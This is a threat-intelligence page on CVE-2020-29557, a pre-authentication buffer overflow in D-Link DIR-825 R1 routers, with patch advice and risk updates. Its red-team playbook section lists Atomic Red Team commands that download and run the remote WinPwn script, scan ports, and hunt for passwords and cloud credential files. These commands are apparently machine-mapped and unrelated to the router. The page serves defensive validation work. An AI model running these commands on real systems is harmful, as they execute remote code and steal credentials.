CVE-2020-29557
Overview
This vulnerability is a buffer overflow occurring in the web interface of D-Link DIR-825 R1 firmware versions up to 3.0.1 before 2020-11-20. The flaw arises due to improper bounds checking when processing input data within the web management component, leading to memory corruption. The affected component is the device's embedded HTTP server handling user requests without authentication.
Vulnerability Description
An issue was discovered on D-Link DIR-825 R1 devices through 3.0.1 before 2020-11-20. A buffer overflow in the web interface allows attackers to achieve pre-authentication remote code execution.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary code remotely on the affected device, gaining full control over the system. This allows complete compromise of the router, including access to network traffic, configuration settings, and potential pivoting to internal networks. No user interaction or credentials are required, enabling remote exploitation from the network. This can lead to severe business consequences such as network disruption, data interception, and unauthorized access to connected systems.
Solution
D-Link has released firmware version 3.0.1 dated 2020-11-20 to address this issue. Users of DIR-825 R1 devices should upgrade to this or later firmware versions as detailed in the vendor advisory at https://www.dlink.ru/ru/download2/5/19/2354/441/. The advisory provides step-by-step upgrade instructions. No alternative workarounds are specified; applying the official firmware update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the D-Link DIR-825 R1 devices is characterized by a buffer overflow in the web interface, which can be exploited to achieve pre-authentication remote code execution. This flaw arises from improper handling of input data, allowing an attacker to send specially crafted requests that exceed the allocated memory buffer. When the buffer overflows, it can overwrite adjacent memory, leading to unpredictable behavior, including the execution of arbitrary code. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to affected systems.
Exploitation of this vulnerability can occur through various attack vectors, primarily via the device's web interface. An attacker does not need to authenticate to the device, which significantly lowers the barrier to entry for exploitation. By sending malicious HTTP requests to the vulnerable web interface, an attacker can manipulate the device's memory and execute arbitrary code. This could lead to a range of malicious activities, including installing malware, creating backdoors for persistent access, or even using the compromised device as part of a botnet for further attacks. Given the prevalence of such devices in home and small office environments, the potential for widespread exploitation is considerable.
The real-world impact of this vulnerability is significant, particularly for businesses and individuals relying on these devices for network connectivity. Successful exploitation can lead to unauthorized access to sensitive data, disruption of network services, and potential financial losses. For businesses, the consequences may extend beyond immediate financial impacts to include reputational damage, regulatory fines, and loss of customer trust. Additionally, compromised devices can be leveraged for further attacks on internal networks, posing a risk to other connected systems and data. The interconnected nature of modern networks amplifies the risk, as a single vulnerable device can serve as an entry point for attackers.
Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should regularly update firmware on affected devices to ensure they are running the latest, most secure versions. Implementing network segmentation can help isolate vulnerable devices from critical systems, reducing the potential impact of an exploit. Intrusion detection systems (IDS) can be configured to monitor for unusual traffic patterns or known exploit signatures associated with this vulnerability. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the buffer overflow vulnerability in the D-Link DIR-825 R1 devices represents a critical security risk that can lead to severe consequences for both individuals and organizations. The ease of exploitation, combined with the potential for significant impact, necessitates immediate attention from users and administrators of affected devices. By implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks posed by this and similar vulnerabilities, ensuring the integrity and security of their networks.
The inclusion of CVE-2020-29557 in the CISA KEV catalog marks a significant shift in its threat profile, underscored by the revision of its CVSS score from 0.0 to 9.8. This adjustment reflects a reassessment of the vulnerability’s exploitability and impact, aligning it with critical severity. Concurrently, the emergence of a high EPSS score—positioned in the 99th percentile—indicates a substantial likelihood of exploitation in the near term. Although no new exploit techniques or active campaigns have been identified through our telemetry, these developments signal increased attention from the threat landscape and elevate the urgency for defensive measures. The updated risk assessment now categorizes this vulnerability as a high-priority concern, given its potential for pre-authentication remote code execution on widely deployed D-Link DIR-825 R1 devices. Defenders should recognize that the elevated EPSS score and formal recognition by CISA suggest a growing risk of exploitation attempts, even in the absence of confirmed active exploitation. This shift necessitates heightened vigilance and prioritization within vulnerability management workflows.
Update 2 — July 03, 2026
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2020-29557, indicating a growing interest from threat actors in targeting vulnerable D-Link DIR-825 R1 devices. Although the overall exploit landscape remains unchanged with no new proof-of-concept exploits or active campaigns reported, the uptick in telemetry suggests adversaries may be conducting more reconnaissance or low-level probing to identify susceptible systems. This subtle shift is significant because it reflects a potential precursor phase to more aggressive exploitation attempts, especially given the vulnerability’s critical severity and pre-authentication remote code execution capability. Consequently, the risk profile for this vulnerability has been elevated from moderate concern to a higher priority within threat management frameworks. Defenders should interpret this trend as an early warning signal that exploitation attempts could intensify, underscoring the importance of maintaining vigilant monitoring and timely patching efforts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dir-825 R1 Firmware | All |
cpe:2.3:o:dlink:dir-825_r1_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-29557 |
| dlink.ru |
GitHub CVE
x_refsource_MISC
|
https://www.dlink.ru/ru/download2/5/19/2354/441/ |
| shaqed.github.io |
GitHub CVE
x_refsource_MISC
|
https://shaqed.github.io/dlink/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-29557 |